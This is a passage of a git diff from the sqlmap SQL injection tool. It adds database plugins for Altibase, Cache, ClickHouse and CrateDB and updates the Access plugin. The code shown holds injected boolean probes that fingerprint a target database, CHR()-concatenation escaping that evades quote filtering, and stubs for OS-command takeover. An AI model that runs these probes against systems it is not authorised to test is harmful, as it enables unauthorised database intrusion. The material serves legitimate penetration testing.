setDbms(DBMS.ACCESS) @@ -183,7 +185,7 @@ def checkDbms(self): return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS - logger.warn(warnMsg) + logger.warning(warnMsg) return False diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index b43500e1581..9935739d90c 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,19 +1,22 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ +from lib.core.convert import getOrds from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)&CHR(98)&CHR(99)&CHR(100)&CHR(101)&CHR(102)&CHR(103)&CHR(104) FROM foobar" + True + """ + def escaper(value): - return "&".join("CHR(%d)" % ord(_) for _ in value) + return "&".join("CHR(%d)" % _ for _ in getOrds(value)) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index f36dd0b7fad..cb6e1fa7971 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,17 +1,14 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on Microsoft Access it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/altibase/__init__.py b/plugins/dbms/altibase/__init__.py new file mode 100644 index 00000000000..a8e50cf19db --- /dev/null +++ b/plugins/dbms/altibase/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import ALTIBASE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.altibase.enumeration import Enumeration +from plugins.dbms.altibase.filesystem import Filesystem +from plugins.dbms.altibase.fingerprint import Fingerprint +from plugins.dbms.altibase.syntax import Syntax +from plugins.dbms.altibase.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class AltibaseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Altibase methods + """ + + def __init__(self): + self.excludeDbsList = ALTIBASE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.ALTIBASE] = Syntax.escape diff --git a/plugins/dbms/altibase/connector.py b/plugins/dbms/altibase/connector.py new file mode 100644 index 00000000000..bf0f66a6c42 --- /dev/null +++ b/plugins/dbms/altibase/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on Altibase it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/altibase/enumeration.py b/plugins/dbms/altibase/enumeration.py new file mode 100644 index 00000000000..467897eb336 --- /dev/null +++ b/plugins/dbms/altibase/enumeration.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getStatements(self): + warnMsg = "on Altibase it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getHostname(self): + warnMsg = "on Altibase it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/altibase/filesystem.py b/plugins/dbms/altibase/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/altibase/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/altibase/fingerprint.py b/plugins/dbms/altibase/fingerprint.py new file mode 100644 index 00000000000..8c99a80ea1f --- /dev/null +++ b/plugins/dbms/altibase/fingerprint.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import ALTIBASE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.ALTIBASE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.ALTIBASE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(ALTIBASE_ALIASES): + setDbms(DBMS.ALTIBASE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.ALTIBASE + logger.info(infoMsg) + + # Reference: http://support.altibase.com/fileDownload.do?gubun=admin&no=228 + result = inject.checkBooleanExpression("CHOSUNG(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.ALTIBASE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("TDESENCRYPT(NULL,NULL) IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE + logger.warning(warnMsg) + + return False + + setDbms(DBMS.ALTIBASE) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.ALTIBASE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/altibase/syntax.py b/plugins/dbms/altibase/syntax.py new file mode 100644 index 00000000000..7ba5c8b9f38 --- /dev/null +++ b/plugins/dbms/altibase/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/altibase/takeover.py b/plugins/dbms/altibase/takeover.py new file mode 100644 index 00000000000..abc2f4d9f61 --- /dev/null +++ b/plugins/dbms/altibase/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Altibase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Altibase it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Altibase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Altibase it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/cache/__init__.py b/plugins/dbms/cache/__init__.py new file mode 100644 index 00000000000..b4c8abdce26 --- /dev/null +++ b/plugins/dbms/cache/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CACHE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cache.enumeration import Enumeration +from plugins.dbms.cache.filesystem import Filesystem +from plugins.dbms.cache.fingerprint import Fingerprint +from plugins.dbms.cache.syntax import Syntax +from plugins.dbms.cache.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CacheMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Cache methods + """ + + def __init__(self): + self.excludeDbsList = CACHE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CACHE] = Syntax.escape diff --git a/plugins/dbms/cache/connector.py b/plugins/dbms/cache/connector.py new file mode 100644 index 00000000000..3ba07525be9 --- /dev/null +++ b/plugins/dbms/cache/connector.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import jaydebeapi + import jpype +except: + pass + +import logging + +from lib.core.common import checkFile +from lib.core.common import getSafeExString +from lib.core.common import readInput +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/ + User guide: https://pypi.python.org/pypi/JayDeBeApi/#usage & http://jpype.sourceforge.net/doc/user-guide/userguide.html + API: - + Debian package: - + License: LGPL & Apache License 2.0 + """ + + def connect(self): + self.initConnection() + try: + msg = "please enter the location of 'cachejdbc.jar'? " + jar = readInput(msg) + checkFile(jar) + args = "-Djava.class.path=%s" % jar + if not jpype.isJVMStarted(): + jvm_path = jpype.getDefaultJVMPath() + jpype.startJVM(jvm_path, args) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + try: + driver = 'com.intersys.jdbc.CacheDriver' + connection_string = 'jdbc:Cache://%s:%d/%s' % (self.hostname, self.port, self.db) + self.connector = jaydebeapi.connect(driver, connection_string, [str(self.user), str(self.password)]) + except Exception as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except Exception as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except Exception as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/cache/enumeration.py b/plugins/dbms/cache/enumeration.py new file mode 100644 index 00000000000..4ac3e1acca7 --- /dev/null +++ b/plugins/dbms/cache/enumeration.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from lib.core.settings import CACHE_DEFAULT_SCHEMA +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getCurrentDb(self): + return CACHE_DEFAULT_SCHEMA + + def getUsers(self): + warnMsg = "on Cache it is not possible to enumerate the users" + logger.warning(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Cache it is not possible to enumerate password hashes" + logger.warning(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Cache it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Cache it is not possible to enumerate the SQL statements" + logger.warning(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on Cache it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Cache it is not possible to enumerate the hostname" + logger.warning(warnMsg) diff --git a/plugins/dbms/cache/filesystem.py b/plugins/dbms/cache/filesystem.py new file mode 100644 index 00000000000..2e61d83c07c --- /dev/null +++ b/plugins/dbms/cache/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cache/fingerprint.py b/plugins/dbms/cache/fingerprint.py new file mode 100644 index 00000000000..909f42d2442 --- /dev/null +++ b/plugins/dbms/cache/fingerprint.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.common import hashDBRetrieve +from lib.core.common import hashDBWrite +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.enums import FORK +from lib.core.enums import HASHDB_KEYS +from lib.core.session import setDbms +from lib.core.settings import CACHE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CACHE) + + def getFingerprint(self): + fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) + + if fork is None: + if inject.checkBooleanExpression("$ZVERSION LIKE '%IRIS%'"): + fork = FORK.IRIS + else: + fork = "" + + hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork) + + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CACHE + if fork: + value += " (%s fork)" % fork + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + if fork: + value += "\n%sfork fingerprint: %s" % (blank, fork) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CACHE_ALIASES): + setDbms(DBMS.CACHE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CACHE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("$LISTLENGTH(NULL) IS NULL") + + if result: + infoMsg = "confirming %s" % DBMS.CACHE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("%EXTERNAL %INTERNAL NULL IS NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE + logger.warning(warnMsg) + + return False + + setDbms(DBMS.CACHE) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/cache/syntax.py b/plugins/dbms/cache/syntax.py new file mode 100644 index 00000000000..9a23d5195a1 --- /dev/null +++ b/plugins/dbms/cache/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHAR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/cache/takeover.py b/plugins/dbms/cache/takeover.py new file mode 100644 index 00000000000..332b33887e0 --- /dev/null +++ b/plugins/dbms/cache/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Cache it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Cache it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Cache it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Cache it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py new file mode 100755 index 00000000000..ff10ae10c88 --- /dev/null +++ b/plugins/dbms/clickhouse/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CLICKHOUSE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.clickhouse.enumeration import Enumeration +from plugins.dbms.clickhouse.filesystem import Filesystem +from plugins.dbms.clickhouse.fingerprint import Fingerprint +from plugins.dbms.clickhouse.syntax import Syntax +from plugins.dbms.clickhouse.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class ClickHouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines ClickHouse methods + """ + + def __init__(self): + self.excludeDbsList = CLICKHOUSE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CLICKHOUSE] = Syntax.escape diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py new file mode 100755 index 00000000000..12d4987eefe --- /dev/null +++ b/plugins/dbms/clickhouse/connector.py @@ -0,0 +1,55 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import clickhouse_connect + import clickhouse_connect.dbapi +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/ClickHouse/clickhouse-connect + User guide: https://clickhouse.com/docs/integrations/python + License: Apache 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = clickhouse_connect.dbapi.connect(host=self.hostname, port=self.port, username=self.user, password=self.password, database=self.db) + except clickhouse_connect.dbapi.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except clickhouse_connect.dbapi.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except clickhouse_connect.dbapi.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py new file mode 100755 index 00000000000..8c12e1aad5a --- /dev/null +++ b/plugins/dbms/clickhouse/enumeration.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on ClickHouse it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on ClickHouse it is not possible to enumerate the user roles" + logger.warning(warnMsg) + + return {} diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py new file mode 100755 index 00000000000..5be3e8a779d --- /dev/null +++ b/plugins/dbms/clickhouse/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on ClickHouse it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on ClickHouse it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py new file mode 100755 index 00000000000..1419d4dc62e --- /dev/null +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CLICKHOUSE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CLICKHOUSE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CLICKHOUSE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CLICKHOUSE_ALIASES): + setDbms(DBMS.CLICKHOUSE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("halfMD5('abcd')='16356072519128051347'") + + if result: + infoMsg = "confirming %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + result = inject.checkBooleanExpression("generateUUIDv4(1)!=generateUUIDv4(2)") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warning(warnMsg) + + return False + + setDbms(DBMS.CLICKHOUSE) + self.getBanner() + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warning(warnMsg) + + return False diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py new file mode 100755 index 00000000000..93da628052a --- /dev/null +++ b/plugins/dbms/clickhouse/syntax.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT char(97)||char(98)||char(99)||char(100)||char(101)||char(102)||char(103)||char(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("char(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py new file mode 100755 index 00000000000..6e16590937b --- /dev/null +++ b/plugins/dbms/clickhouse/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on ClickHouse it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on ClickHouse it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/cratedb/__init__.py b/plugins/dbms/cratedb/__init__.py new file mode 100644 index 00000000000..c9e2259bf0d --- /dev/null +++ b/plugins/dbms/cratedb/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CRATEDB_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cratedb.enumeration import Enumeration +from plugins.dbms.cratedb.filesystem import Filesystem +from plugins.dbms.cratedb.fingerprint import Fingerprint +from plugins.dbms.cratedb.syntax import Syntax +from plugins.dbms.cratedb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CrateDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines CrateDB methods + """ + + def __init__(self): + self.excludeDbsList = CRATEDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CRATEDB] = Syntax.escape diff --git a/plugins/dbms/cratedb/connector.py b/plugins/dbms/cratedb/connector.py new file mode 100644 index 00000000000..0c5e5436180 --- /dev/null +++ b/plugins/dbms/cratedb/connector.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +try: + import psycopg2 + import psycopg2.extensions + psycopg2.extensions.register_type(psycopg2.extensions.UNICODE) + psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY) +except: + pass + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: http://initd.org/psycopg/ + User guide: http://initd.org/psycopg/docs/ + API: http://initd.org/psycopg/docs/genindex.html + Debian package: python-psycopg2 + License: GPL + + Possible connectors: http://wiki.python.org/moin/PostgreSQL + """ + + def connect(self): + self.initConnection() + + try: + self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) + except psycopg2.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.set_client_encoding('UNICODE') + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except psycopg2.ProgrammingError as ex: + logger.warning(getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex: + logger.warning(("(remote) '%s'" % getSafeExString(ex)).strip()) + except psycopg2.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git 